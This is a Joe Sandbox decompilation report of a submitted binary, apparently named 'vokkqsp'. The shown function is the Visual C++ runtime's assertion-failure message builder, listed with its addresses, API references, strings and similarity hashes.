																								_t171 =  *_t232;
																								_t232 = _t232 + 2;
																							} while (_t171 != 0);
																							_t242 = (_t232 - _t246 >> 1) + 0xb0;
																							_t235 = _v552;
																							_t213 = _t235 + 2;
																							do {
																								_t172 =  *_t235;
																								_t235 = _t235 + 2;
																							} while (_t172 != _v540);
																							_t220 = _t235 - _t213 >> 1;
																							if(_t220 + _t242 <= _t249) {
																								_push(_v552);
																								goto L50;
																							} else {
																								_push(_t249 - _t242 - 3);
																								_t183 = E00422BD3(_t220, _t254, _t249, _v552);
																								_t261 = _t261 + 0x10;
																								if(_t183 != 0) {
																									goto L64;
																								} else {
																									_push(L"...");
																									L50:
																									_push(_t249);
																									_t174 = E00422A13(_t254);
																									_t261 = _t261 + 0xc;
																									if(_t174 != 0) {
																										goto L64;
																									} else {
																										_t213 = L"\n\n";
																										_push(_t213);
																										_push(_t249);
																										_t175 = E00422A13(_t254);
																										_t261 = _t261 + 0xc;
																										if(_t175 != 0) {
																											goto L64;
																										} else {
																											_push(L"For information on how your program can cause an assertion\nfailure, see the Visual C++ documentation on asserts");
																											_push(_t249);
																											_t176 = E00422A13(_t254);
																											_t261 = _t261 + 0xc;
																											if(_t176 != 0) {
																												goto L64;
																											} else {
																												_push(_t213);
																												_push(_t249);
																												_t177 = E00422A13(_t254);
																												_t261 = _t261 + 0xc;
																												if(_t177 != 0) {
																													goto L64;
																												} else {
																													_push(L"(Press Retry to debug the application - JIT must be enabled)");
																													_push(_t249);
																													_t178 = E00422A13(_t254);
																													_t261 = _t261 + 0xc;
																													if(_t178 != 0) {
																														goto L64;
																													} else {
																														return E0040361D(_v8 ^ _t256);
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								} else {
									_t208 = _t220 * 2 - 0x6a;
									_t220 = 0x20a - _t208;
									_t213 =  &_v532 + _t208;
									_t209 = E00434658(_t213, _t220, L"...", 6);
									_t261 = _t266 + 0x10;
									if(_t209 != 0) {
										goto L64;
									} else {
										goto L9;
									}
								}
							} else {
								_t211 = E00422A82( &_v532, 0x105, L"<program name unknown>");
								_t261 = _t266 + 0xc;
								if(_t211 != 0) {
									goto L64;
								} else {
									goto L5;
								}
							}
						}
					}
				}
			}

0x0040c039
0x0040c044
0x0040c04b
0x0040c052
0x0040c056
0x0040c05a
0x0040c062
0x0040c06d
0x0040c073
0x0040c078
0x0040c07f
0x0040c084
0x0040c50e
0x0040c510
0x0040c511
0x0040c512
0x0040c513
0x0040c514
0x0040c515
0x0040c51a
0x0040c51d
0x0040c51e
0x0040c520
0x0040c521
0x0040c533
0x0040c535
0x0040c53a
0x0040c53c
0x0040c53e
0x0040c540
0x0040c546
0x0040c54b
0x0040c54c
0x0040c54d
0x0040c552
0x0040c552
0x0040c555
0x0040c55e
0x0040c566
0x0040c56c
0x0040c570
0x0040c574
0x0040c57d
0x0040c58a
0x0040c58f
0x0040c592
0x0040c597
0x0040c59a
0x0040c59b
0x0040c59d
0x0040c59e
0x0040c5a8
0x0040c5af
0x0040c5b4
0x0040c5c0
0x0040c5c2
0x0040c5c7
0x0040c5c9
0x0040c5cb
0x0040c5cd
0x0040c5d3
0x0040c5d8
0x0040c5d9
0x0040c5da
0x0040c5df
0x0040c5df
0x0040c5e2
0x0040c5eb
0x0040c5f3
0x0040c60a
0x0040c617
0x0040c61f
0x0040c624
0x0040c627
0x0040c62d
0x0040c632
0x0040c64c
0x0040c08a
0x0040c08a
0x0040c08f
0x0040c091
0x0040c096
0x0040c09b
0x00000000
0x0040c0a1
0x0040c0a1
0x0040c0a6
0x0040c0a8
0x0040c0ad
0x0040c0b2
0x00000000
0x0040c0b8
0x0040c0c5
0x0040c0ca
0x0040c0cf
0x0040c0d5
0x0040c0df
0x0040c0e7
0x0040c0ed
0x0040c0f3
0x0040c0f5
0x0040c0fd
0x0040c10b
0x0040c12a
0x0040c12a
0x0040c130
0x0040c132
0x0040c135
0x0040c135
0x0040c138
0x0040c13b
0x0040c146
0x0040c14e
0x0040c17f
0x0040c17f
0x0040c180
0x0040c182
0x0040c187
0x0040c18c
0x00000000
0x0040c192
0x0040c192
0x0040c197
0x0040c199
0x0040c19e
0x0040c1a3
0x00000000
0x0040c1a9
0x0040c1a9
0x0040c1ae
0x0040c1b0
0x0040c1b5
0x0040c1ba
0x00000000
0x0040c1c0
0x0040c1c0
0x0040c1c6
0x0040c1c8
0x0040c1cb
0x0040c1cb
0x0040c1ce
0x0040c1d1
0x0040c1dc
0x0040c1e4
0x0040c4ee
0x00000000
0x0040c1ea
0x0040c1ea
0x0040c1ec
0x0040c1ef
0x0040c1ef
0x0040c1f2
0x0040c1f5
0x0040c200
0x0040c20a
0x0040c20e
0x0040c20f
0x0040c21b
0x0040c220
0x0040c226
0x0040c229
0x0040c22b
0x0040c235
0x0040c238
0x0040c239
0x0040c23c
0x0040c245
0x00000000
0x00000000
0x00000000
0x0040c245
0x0040c247
0x0040c24a
0x0040c24a
0x0040c252
0x0040c254
0x0040c25d
0x0040c2a9
0x00000000
0x0040c2af
0x0040c2b1
0x0040c2b2
0x0040c2b6
0x0040c2bc
0x0040c2c0
0x0040c2c5
0x0040c2c8
0x0040c2ca
0x00000000
0x0040c2d0
0x0040c2d0
0x0040c2d5
0x0040c2d7
0x0040c2dc
0x0040c2df
0x0040c2e1
0x00000000
0x0040c2e7
0x0040c2e7
0x0040c2e7
0x0040c2f3
0x00000000
0x0040c2f3
0x0040c2e1
0x0040c2ca
0x0040c25f
0x0040c262
0x0040c486
0x0040c486
0x0040c48b
0x0040c490
0x0040c493
0x0040c495
0x00000000
0x0040c497
0x0040c497
0x0040c49c
0x0040c49e
0x0040c4a3
0x0040c4a6
0x0040c4a8
0x00000000
0x0040c4aa
0x0040c4aa
0x0040c4b6
0x0040c4be
0x0040c4c3
0x0040c4c6
0x0040c4c8
0x00000000
0x0040c4ca
0x0040c4ca
0x0040c4cf
0x0040c4d1
0x0040c4d6
0x0040c4d9
0x0040c4db
0x00000000
0x0040c4dd
0x0040c4e6
0x00000000
0x0040c4e6
0x0040c4db
0x0040c4c8
0x0040c4a8
0x0040c268
0x0040c26a
0x0040c26d
0x0040c271
0x0040c276
0x0040c27b
0x00000000
0x0040c281
0x0040c281
0x0040c286
0x0040c288
0x0040c28d
0x0040c292
0x00000000
0x0040c298
0x0040c29e
0x0040c2a4
0x0040c2f6
0x0040c2f6
0x0040c2f7
0x0040c2f7
0x0040c2f9
0x0040c2fe
0x0040c303
0x00000000
0x0040c309
0x0040c309
0x0040c30e
0x0040c310
0x0040c315
0x0040c31a
0x00000000
0x0040c320
0x0040c320
0x0040c325
0x0040c327
0x0040c32c
0x0040c331
0x00000000
0x0040c337
0x0040c337
0x0040c33b
0x0040c33e
0x0040c33e
0x0040c341
0x0040c344
0x0040c34b
0x0040c34d
0x0040c34f
0x0040c352
0x0040c352
0x0040c355
0x0040c358
0x0040c365
0x0040c373
0x0040c378
0x0040c37d
0x00000000
0x0040c383
0x0040c383
0x0040c388
0x0040c38a
0x0040c38f
0x0040c394
0x00000000
0x0040c39a
0x0040c39a
0x0040c39f
0x0040c3a1
0x0040c3a6
0x0040c3ab
0x00000000
0x0040c3b1
0x0040c3b1
0x0040c3b5
0x0040c3b8
0x0040c3b8
0x0040c3bb
0x0040c3be
0x0040c3c7
0x0040c3cd
0x0040c3d3
0x0040c3d6
0x0040c3d6
0x0040c3d9
0x0040c3dc
0x0040c3e7
0x0040c3ee
0x0040c4f4
0x00000000
0x0040c3f4
0x0040c3fb
0x0040c404
0x0040c409
0x0040c40e
0x00000000
0x0040c414
0x0040c414
0x0040c419
0x0040c419
0x0040c41b
0x0040c420
0x0040c425
0x00000000
0x0040c42b
0x0040c42b
0x0040c430
0x0040c431
0x0040c433
0x0040c438
0x0040c43d
0x00000000
0x0040c443
0x0040c443
0x0040c448
0x0040c44a
0x0040c44f
0x0040c454
0x00000000
0x0040c45a
0x0040c45a
0x0040c45b
0x0040c45d
0x0040c462
0x0040c467
0x00000000
0x0040c46d
0x0040c46d
0x0040c472
0x0040c474
0x0040c479
0x0040c47e
0x00000000
0x0040c484
0x0040c50d
0x0040c50d
0x0040c47e
0x0040c467
0x0040c454
0x0040c43d
0x0040c425
0x0040c40e
0x0040c3ee
0x0040c3ab
0x0040c394
0x0040c37d
0x0040c331
0x0040c31a
0x0040c303
0x0040c292
0x0040c27b
0x0040c262
0x0040c25d
0x0040c1e4
0x0040c1ba
0x0040c1a3
0x0040c150
0x0040c150
0x0040c163
0x0040c16b
0x0040c16f
0x0040c174
0x0040c179
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c179
0x0040c10d
0x0040c11a
0x0040c11f
0x0040c124
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c124
0x0040c10b
0x0040c0b2
0x0040c09b

APIs

GetModuleHandleExW.KERNEL32(00000006,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040C0DF
GetModuleFileNameW.KERNEL32(?,?,00000105,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040C103

Strings

For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts, xrefs: 0040C443
<program name unknown>, xrefs: 0040C10D
Program: , xrefs: 0040C0A1
..., xrefs: 0040C15E, 0040C281, 0040C2D0, 0040C414, 0040C497, 0040C4CA
Expression: , xrefs: 0040C39A
(Press Retry to debug the application - JIT must be enabled), xrefs: 0040C46D
Line: , xrefs: 0040C320
Assertion failed!, xrefs: 0040C05D
\, xrefs: 0040C200
File: , xrefs: 0040C1A9

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: Module$FileHandleName
String ID: (Press Retry to debug the application - JIT must be enabled)$...$<program name unknown>$Assertion failed!$Expression: $File: $For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts$Line: $Program: $\
API String ID: 4146042529-3261600717
Opcode ID: cae46870eb9739d6ca4910d6817c9eacb589348dc13bb38fcfab888b03916797
Instruction ID: cbb270ca924a52a3a7ff405233c51d513effd9822ff967e1a383477985de6f7a
Opcode Fuzzy Hash: cae46870eb9739d6ca4910d6817c9eacb589348dc13bb38fcfab888b03916797
Instruction Fuzzy Hash: 4AC10834A00129B7EB306F259DC6FEB36689F94704F6405BBFC05F6281F678EA41855D

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC17 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 363
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040BC17(void* __ebx, signed int __edx, void* __edi, void* __esi, char _a4, intOrPtr _a8, intOrPtr* _a12, WCHAR* _a16, intOrPtr _a20, WCHAR* _a24) {
				char _v0;
				char _v4;
				signed int _v8;
				char _v11;
				signed int _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v272;
				WCHAR* _v276;
				WCHAR* _v280;
				signed int _v284;
				intOrPtr* _v288;
				char* _v296;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr* _v316;
				signed int _v328;
				char _v536;
				signed int _v540;
				intOrPtr _v544;
				WCHAR* _v548;
				signed int _v552;
				intOrPtr* _v556;
				WCHAR* _v560;
				intOrPtr _v856;
				signed int _v860;
				intOrPtr _v872;
				intOrPtr _v908;
				intOrPtr* _v912;
				intOrPtr* _v916;
				void* _v920;
				intOrPtr* _v924;
				intOrPtr* _v928;
				char _v932;
				void* __ebp;
				signed int _t154;
				void* _t158;
				signed int _t161;
				WCHAR* _t165;
				WCHAR* _t170;
				void* _t182;
				WCHAR* _t184;
				void* _t202;
				void* _t204;
				WCHAR* _t206;
				WCHAR* _t207;
				signed int _t211;
				struct HINSTANCE__* _t213;
				WCHAR* _t214;
				char _t215;
				WCHAR* _t217;
				WCHAR* _t218;
				WCHAR* _t219;
				void* _t220;
				WCHAR* _t222;
				WCHAR* _t223;
				WCHAR* _t224;
				WCHAR* _t225;
				intOrPtr _t226;
				WCHAR* _t230;
				WCHAR* _t231;
				WCHAR* _t232;
				WCHAR* _t233;
				intOrPtr _t234;
				WCHAR* _t236;
				WCHAR* _t237;
				WCHAR* _t238;
				WCHAR* _t239;
				WCHAR* _t240;
				WCHAR* _t245;
				void* _t246;
				signed int _t247;
				WCHAR* _t249;
				WCHAR* _t250;
				WCHAR* _t251;
				WCHAR* _t254;
				WCHAR* _t255;
				void* _t258;
				void* _t259;
				WCHAR* _t261;
				WCHAR* _t262;
				void* _t264;
				WCHAR* _t266;
				WCHAR* _t267;
				signed int _t269;
				void* _t270;
				WCHAR* _t271;
				WCHAR* _t273;
				void* _t274;
				void* _t275;
				signed int _t278;
				void* _t281;
				intOrPtr _t283;
				void* _t285;
				void* _t286;
				void* _t287;
				short _t288;
				void* _t290;
				void* _t291;
				void* _t292;
				intOrPtr _t293;
				intOrPtr _t294;
				void* _t298;
				void* _t299;
				void* _t300;
				intOrPtr _t301;
				intOrPtr _t302;
				void* _t304;
				void* _t305;
				void* _t306;
				void* _t307;
				void* _t308;
				void* _t313;
				short _t314;
				intOrPtr _t315;
				void* _t316;
				void* _t317;
				void* _t321;
				void* _t322;
				void* _t326;
				WCHAR* _t328;
				WCHAR* _t329;
				void* _t332;
				void* _t334;
				WCHAR* _t336;
				char* _t337;
				signed int _t341;
				WCHAR* _t346;
				void* _t349;
				char* _t352;
				signed int _t354;
				intOrPtr* _t356;
				signed int _t357;
				intOrPtr* _t358;
				signed int _t359;
				intOrPtr* _t361;
				void* _t365;
				intOrPtr* _t368;
				WCHAR* _t369;
				intOrPtr* _t370;
				intOrPtr* _t371;
				intOrPtr* _t373;
				short* _t376;
				void* _t379;
				intOrPtr* _t380;
				void* _t382;
				signed int _t383;
				void* _t384;
				intOrPtr* _t385;
				void* _t386;
				WCHAR* _t387;
				WCHAR* _t388;
				intOrPtr _t390;
				intOrPtr _t391;
				signed short* _t394;
				intOrPtr* _t397;
				intOrPtr* _t399;
				intOrPtr* _t400;
				signed int _t403;
				signed int _t404;
				void* _t405;
				void* _t406;
				void* _t408;
				signed int _t409;
				void* _t411;
				void* _t412;
				void* _t413;
				void* _t416;
				void* _t418;

				_t378 = __edx;
				_t154 =  *0x44b018; // 0x1989d38f
				_v8 = _t154 ^ _t403;
				_t336 = _a16;
				_t399 = _a4;
				_t390 = _a8;
				_v288 = _a12;
				_v276 = _a24;
				_t158 = E0041080E(_t399, _t390, "Assertion failed!");
				_t409 = _t408 + 0xc;
				if(_t158 != 0) {
					L62:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0041F197();
					asm("int3");
					_push(_t403);
					_t404 = _t409;
					_t161 =  *0x44b018; // 0x1989d38f
					_v328 = _t161 ^ _t404;
					_push(_t336);
					_t337 = _v296;
					_push(_t399);
					_t400 = _v316;
					_push(_t390);
					_t391 = _v312;
					_v872 = _v308;
					_v856 = _v304;
					_t165 = E00422A82(_t400, _t391, L"Assertion failed!");
					_v860 = _v860 & 0x00000000;
					_t411 = _t409 - 0x228 + 0xc;
					__eflags = _t165;
					if(_t165 != 0) {
						L127:
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						E0041F197();
						asm("int3");
						_push(_t404);
						_t405 = _t411;
						_push(_t346);
						_push(_t346);
						_t349 = E0041519A( &_v920, E0041F307(2));
						_t170 = E0040B665(_t349);
						__eflags = _t170;
						if(_t170 == 0) {
							_push(0);
							_push(4);
							_t204 = E0041F307(2);
							_t349 = 0;
							_push(_t204);
							E004233D1(_t378);
							_t411 = _t411 + 0x10;
						}
						_push(0);
						_v16 = E0040C8FE();
						_v20 = E0041F307(2);
						_push( &_a4);
						_push( &_v0);
						_push( &_v4);
						L134();
						E00421D48(_t349, _t378, E0041F307(2));
						_t412 = _t411 + 0x24;
						E00410889(_t337, _t349, _t378, _t391, _t400,  &_v20,  &_v16);
						asm("int3");
						_push(_t405);
						_t406 = _t412;
						_push(_t349);
						_push(_t349);
						E0040C84F(_t337, _t391, _t400, _v916, _v912, _v908);
						_t182 = E0041F307(2);
						_t413 = _t412 + 0x10;
						_t351 = E0041519A( &_v932, _t182);
						_t184 = E0040B665(_t183);
						__eflags = _t184;
						if(_t184 == 0) {
							_push(0);
							_push(4);
							_t202 = E0041F307(2);
							_t351 = 0;
							_push(_t202);
							E004233D1(_t378);
							_t413 = _t413 + 0x10;
						}
						_push(0);
						_v20 = E0040C904();
						_v24 = E0041F307(2);
						E0040C64D( &_v24,  &_v20,  &_v8,  &_v4,  &_v0);
						E00421D48(_t351, _t378, E0041F307(2));
						E00410889(_t337, _t351, _t378, _t391, _t400);
						asm("int3");
						_push(_t406);
						_push( *_v912);
						_push( *_v916);
						return E0040CAC5( *_v928,  *_v924,  *_v920);
					} else {
						_push(L"\n\n");
						_push(_t391);
						_t206 = E00422A13(_t400);
						_t411 = _t411 + 0xc;
						__eflags = _t206;
						if(_t206 != 0) {
							goto L127;
						} else {
							_push(L"Program: ");
							_push(_t391);
							_t207 = E00422A13(_t400);
							_t411 = _t411 + 0xc;
							__eflags = _t207;
							if(_t207 != 0) {
								goto L127;
							} else {
								E00403D00(_t391,  &_v536, _t207, 0x20a);
								_t416 = _t411 + 0xc;
								_v552 = 0;
								_t211 =  &_v552;
								__imp__GetModuleHandleExW(6, _t337, _t211);
								_t346 =  &_v536;
								_t337 = 0x105;
								asm("sbb eax, eax");
								_t213 =  ~_t211 & _v552;
								_v552 = _t213;
								_t214 = GetModuleFileNameW(_t213, _t346, 0x105);
								__eflags = _t214;
								if(_t214 != 0) {
									L68:
									_t337 =  &_v536;
									_t352 = _t337;
									_t378 =  &(_t352[2]);
									do {
										_t215 =  *_t352;
										_t352 =  &(_t352[2]);
										__eflags = _t215 - _v544;
									} while (_t215 != _v544);
									_t346 = _t352 - _t378 >> 1;
									__eflags =  &(_t346[5]) - 0x40;
									if( &(_t346[5]) <= 0x40) {
										L72:
										_push(_t337);
										_push(_t391);
										_t217 = E00422A13(_t400);
										_t411 = _t416 + 0xc;
										__eflags = _t217;
										if(_t217 != 0) {
											goto L127;
										} else {
											_push("\n");
											_push(_t391);
											_t218 = E00422A13(_t400);
											_t411 = _t411 + 0xc;
											__eflags = _t218;
											if(_t218 != 0) {
												goto L127;
											} else {
												_push(L"File: ");
												_push(_t391);
												_t219 = E00422A13(_t400);
												_t411 = _t411 + 0xc;
												__eflags = _t219;
												if(_t219 != 0) {
													goto L127;
												} else {
													_t378 = _v540;
													_t354 = _t378;
													_t337 = _t354 + 2;
													do {
														_t220 =  *_t354;
														_t354 = _t354 + 2;
														__eflags = _t220 - _v544;
													} while (_t220 != _v544);
													_t346 = _t354 - _t337 >> 1;
													__eflags =  &(_t346[4]) - 0x40;
													if( &(_t346[4]) <= 0x40) {
														_push(_t378);
														goto L96;
													} else {
														_t341 = _t378;
														_t365 = _t341 + 2;
														do {
															_t246 =  *_t341;
															_t341 = _t341 + 2;
															__eflags = _t246 - _v544;
														} while (_t246 != _v544);
														_v548 = 0x5c;
														_t337 = _t341 - _t365 >> 1;
														_t346 = 1;
														_t247 =  *(_t378 + _t337 * 2 - 2) & 0x0000ffff;
														__eflags = _t247 - _v548;
														if(_t247 != _v548) {
															_v560 = _t247;
															_t394 = _t378 - 2 + _t337 * 2;
															_t383 = _t247;
															while(1) {
																__eflags = _t383 - 0x2f;
																if(_t383 == 0x2f) {
																	break;
																}
																__eflags = _t346 - _t337;
																if(_t346 < _t337) {
																	_t394 = _t394 - 2;
																	_t346 =  &(_t346[0]);
																	_t269 =  *_t394 & 0x0000ffff;
																	_t383 = _t269;
																	__eflags = _t269 - _v548;
																	if(_t269 != _v548) {
																		continue;
																	}
																}
																break;
															}
															_t391 = _a4;
															_t378 = _v540;
														}
														_t249 = _t337 - _t346;
														_v548 = _t249;
														__eflags = _t249 - 0x26;
														if(__eflags <= 0) {
															if(__eflags >= 0) {
																goto L119;
															} else {
																_t259 = 0x35;
																_t346 = _t346 >> 1;
																_v560 = _t346;
																_push(_t259 - _t346);
																_t261 = E00422BD3(_t346, _t400, _t391, _t378);
																_t411 = _t411 + 0x10;
																__eflags = _t261;
																if(_t261 != 0) {
																	goto L127;
																} else {
																	_push(L"...");
																	_push(_t391);
																	_t262 = E00422A13(_t400);
																	_t411 = _t411 + 0xc;
																	__eflags = _t262;
																	if(_t262 != 0) {
																		goto L127;
																	} else {
																		_t337 = _t337 - _v560;
																		__eflags = _t337;
																		_t258 = _v540 + _t337 * 2;
																		goto L95;
																	}
																}
															}
														} else {
															__eflags = _t346 - 0x12;
															if(_t346 >= 0x12) {
																L119:
																_push(0x23);
																_t250 = E00422BD3(_t346, _t400, _t391, _t378);
																_t411 = _t411 + 0x10;
																__eflags = _t250;
																if(_t250 != 0) {
																	goto L127;
																} else {
																	_push(L"...");
																	_push(_t391);
																	_t251 = E00422A13(_t400);
																	_t411 = _t411 + 0xc;
																	__eflags = _t251;
																	if(_t251 != 0) {
																		goto L127;
																	} else {
																		_t346 = _v548;
																		_push(8);
																		_t254 = E00422BD3(_t346, _t400, _t391, _v540 + _t346 * 2);
																		_t411 = _t411 + 0x10;
																		__eflags = _t254;
																		if(_t254 != 0) {
																			goto L127;
																		} else {
																			_push(L"...");
																			_push(_t391);
																			_t255 = E00422A13(_t400);
																			_t411 = _t411 + 0xc;
																			__eflags = _t255;
																			if(_t255 != 0) {
																				goto L127;
																			} else {
																				_t258 = _v540 + _t337 * 2 + 0xfffffff2;
																				goto L95;
																			}
																		}
																	}
																}
															} else {
																_t264 = 0x35;
																_push(_t264 - _t346);
																_t266 = E00422BD3(_t346, _t400, _t391, _t378);
																_t411 = _t411 + 0x10;
																__eflags = _t266;
																if(_t266 != 0) {
																	goto L127;
																} else {
																	_push(L"...");
																	_push(_t391);
																	_t267 = E00422A13(_t400);
																	_t411 = _t411 + 0xc;
																	__eflags = _t267;
																	if(_t267 != 0) {
																		goto L127;
																	} else {
																		_t346 = _v548;
																		_t258 = _v540 + _t346 * 2;
																		L95:
																		_push(_t258);
																		L96:
																		_push(_t391);
																		_t222 = E00422A13(_t400);
																		_t411 = _t411 + 0xc;
																		__eflags = _t222;
																		if(_t222 != 0) {
																			goto L127;
																		} else {
																			_push("\n");
																			_push(_t391);
																			_t223 = E00422A13(_t400);
																			_t411 = _t411 + 0xc;
																			__eflags = _t223;
																			if(_t223 != 0) {
																				goto L127;
																			} else {
																				_push(L"Line: ");
																				_push(_t391);
																				_t224 = E00422A13(_t400);
																				_t411 = _t411 + 0xc;
																				__eflags = _t224;
																				if(_t224 != 0) {
																					goto L127;
																				} else {
																					_t356 = _t400;
																					__eflags = 0;
																					_t379 = _t356 + 2;
																					do {
																						_t225 =  *_t356;
																						_t356 = _t356 + 2;
																						__eflags = _t225;
																					} while (_t225 != 0);
																					_t357 = _t356 - _t379;
																					__eflags = _t357;
																					_t380 = _t400;
																					_t346 = _t357 >> 1;
																					_t337 = _t380 + 2;
																					do {
																						_t226 =  *_t380;
																						_t380 = _t380 + 2;
																						__eflags = _t226 - _v544;
																					} while (_t226 != _v544);
																					_t378 = _t380 - _t337 >> 1;
																					_t230 = E00422790(_t346, _a16, _t400 + (_t380 - _t337 >> 1) * 2, _t391 - _t346, 0xa);
																					_t411 = _t411 + 0x10;
																					__eflags = _t230;
																					if(_t230 != 0) {
																						goto L127;
																					} else {
																						_push(L"\n\n");
																						_push(_t391);
																						_t231 = E00422A13(_t400);
																						_t411 = _t411 + 0xc;
																						__eflags = _t231;
																						if(_t231 != 0) {
																							goto L127;
																						} else {
																							_push(L"Expression: ");
																							_push(_t391);
																							_t232 = E00422A13(_t400);
																							_t411 = _t411 + 0xc;
																							__eflags = _t232;
																							if(_t232 != 0) {
																								goto L127;
																							} else {
																								_t358 = _t400;
																								__eflags = 0;
																								_t382 = _t358 + 2;
																								do {
																									_t233 =  *_t358;
																									_t358 = _t358 + 2;
																									__eflags = _t233;
																								} while (_t233 != 0);
																								_t359 = _t358 - _t382;
																								__eflags = _t359;
																								_t378 = (_t359 >> 1) + 0xb0;
																								_t361 = _v556;
																								_t337 = _t361 + 2;
																								do {
																									_t234 =  *_t361;
																									_t361 = _t361 + 2;
																									__eflags = _t234 - _v544;
																								} while (_t234 != _v544);
																								_t346 = _t361 - _t337 >> 1;
																								__eflags = _t346 + _t378 - _t391;
																								if(_t346 + _t378 <= _t391) {
																									_push(_v556);
																									goto L113;
																								} else {
																									_push(_t391 - _t378 - 3);
																									_t245 = E00422BD3(_t346, _t400, _t391, _v556);
																									_t411 = _t411 + 0x10;
																									__eflags = _t245;
																									if(_t245 != 0) {
																										goto L127;
																									} else {
																										_push(L"...");
																										L113:
																										_push(_t391);
																										_t236 = E00422A13(_t400);
																										_t411 = _t411 + 0xc;
																										__eflags = _t236;
																										if(_t236 != 0) {
																											goto L127;
																										} else {
																											_t337 = L"\n\n";
																											_push(_t337);
																											_push(_t391);
																											_t237 = E00422A13(_t400);
																											_t411 = _t411 + 0xc;
																											__eflags = _t237;
																											if(_t237 != 0) {
																												goto L127;
																											} else {
																												_push(L"For information on how your program can cause an assertion\nfailure, see the Visual C++ documentation on asserts");
																												_push(_t391);
																												_t238 = E00422A13(_t400);
																												_t411 = _t411 + 0xc;
																												__eflags = _t238;
																												if(_t238 != 0) {
																													goto L127;
																												} else {
																													_push(_t337);
																													_push(_t391);
																													_t239 = E00422A13(_t400);
																													_t411 = _t411 + 0xc;
																													__eflags = _t239;
																													if(_t239 != 0) {
																														goto L127;
																													} else {
																														_push(L"(Press Retry to debug the application - JIT must be enabled)");
																														_push(_t391);
																														_t240 = E00422A13(_t400);
																														_t411 = _t411 + 0xc;
																														__eflags = _t240;
																														if(_t240 != 0) {
																															goto L127;
																														} else {
																															__eflags = _v12 ^ _t404;
																															return E0040361D(_v12 ^ _t404);
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									} else {
										_t270 = _t346 * 2 - 0x6a;
										_t346 = 0x20a - _t270;
										_t337 =  &_v536 + _t270;
										_t271 = E00434658(_t337, _t346, L"...", 6);
										_t411 = _t416 + 0x10;
										__eflags = _t271;
										if(_t271 != 0) {
											goto L127;
										} else {
											goto L72;
										}
									}
								} else {
									_t273 = E00422A82( &_v536, 0x105, L"<program name unknown>");
									_t411 = _t416 + 0xc;
									__eflags = _t273;
									if(_t273 != 0) {
										goto L127;
									} else {
										goto L68;
									}
								}
							}
						}
					}
				} else {
					_t274 = E00422C49(_t399, _t390, "\n\n");
					_t409 = _t409 + 0xc;
					if(_t274 != 0) {
						goto L62;
					} else {
						_t275 = E00422C49(_t399, _t390, "Program: ");
						_t409 = _t409 + 0xc;
						if(_t275 != 0) {
							goto L62;
						} else {
							E00403D00(_t390,  &_v272, _t275, 0x105);
							_v284 = _v284 & 0x00000000;
							_t278 =  &_v284;
							__imp__GetModuleHandleExW(6, _v276, _t278);
							_t346 =  &_v272;
							asm("sbb eax, eax");
							_v284 =  ~_t278 & _v284;
							_t281 = E00422FD2(_t378,  ~_t278 & _v284, _t346, 0x105);
							_t418 = _t409 + 0x18;
							if(_t281 != 0) {
								L5:
								_t378 =  &_v272;
								_t368 =  &_v272;
								_v276 = _t368 + 1;
								do {
									_t283 =  *_t368;
									_t368 = _t368 + 1;
								} while (_t283 != 0);
								_t346 = _t368 - _v276;
								if( &(_t346[5]) <= 0x40) {
									L10:
									_t285 = E00422C49(_t399, _t390, _t378);
									_t409 = _t418 + 0xc;
									if(_t285 != 0) {
										goto L62;
									} else {
										_t286 = E00422C49(_t399, _t390, "\n");
										_t409 = _t409 + 0xc;
										if(_t286 != 0) {
											goto L62;
										} else {
											_t287 = E00422C49(_t399, _t390, "File: ");
											_t409 = _t409 + 0xc;
											if(_t287 != 0) {
												goto L62;
											} else {
												_t369 = _t336;
												_t28 =  &(_t369[0]); // 0x1
												_t378 = _t28;
												do {
													_t288 =  *_t369;
													_t369 =  &(_t369[0]);
												} while (_t288 != 0);
												_t346 = _t369 - _t378;
												_t29 =  &(_t346[4]); // 0x9
												if(_t29 <= 0x40) {
													L36:
													_push(_t336);
													goto L37;
												} else {
													_t387 = _t336;
													_t30 =  &(_t387[0]); // 0x1
													_t376 = _t30;
													do {
														_t314 =  *_t387;
														_t387 =  &(_t387[0]);
													} while (_t314 != 0);
													_t388 = _t387 - _t376;
													_t346 = 1;
													_v276 = _t388;
													_v280 = 1;
													_t315 =  *((intOrPtr*)(_t336 + _t388 - 1));
													if(_t315 != 0x5c) {
														_t35 = _t336 - 1; // -1
														_t397 = _t35 + _t388;
														while(_t315 != 0x2f && _t346 < _t388) {
															_t346 =  &(_t346[0]);
															_t397 = _t397 - 1;
															_t315 =  *_t397;
															if(_t315 != 0x5c) {
																continue;
															}
															break;
														}
														_t390 = _a8;
														_v280 = _t346;
													}
													_t378 = _t388 - _t346;
													if(_t388 - _t346 <= 0x26) {
														if(__eflags >= 0) {
															goto L26;
														} else {
															_t346 = _t346 >> 1;
															__eflags = _t346;
															_v280 = _t346;
															goto L33;
														}
													} else {
														if(_t346 < 0x12) {
															L33:
															_t326 = 0x35;
															_push(_t326 - _t346);
															_t328 = E00422D84(_t346, _t399, _t390, _t336);
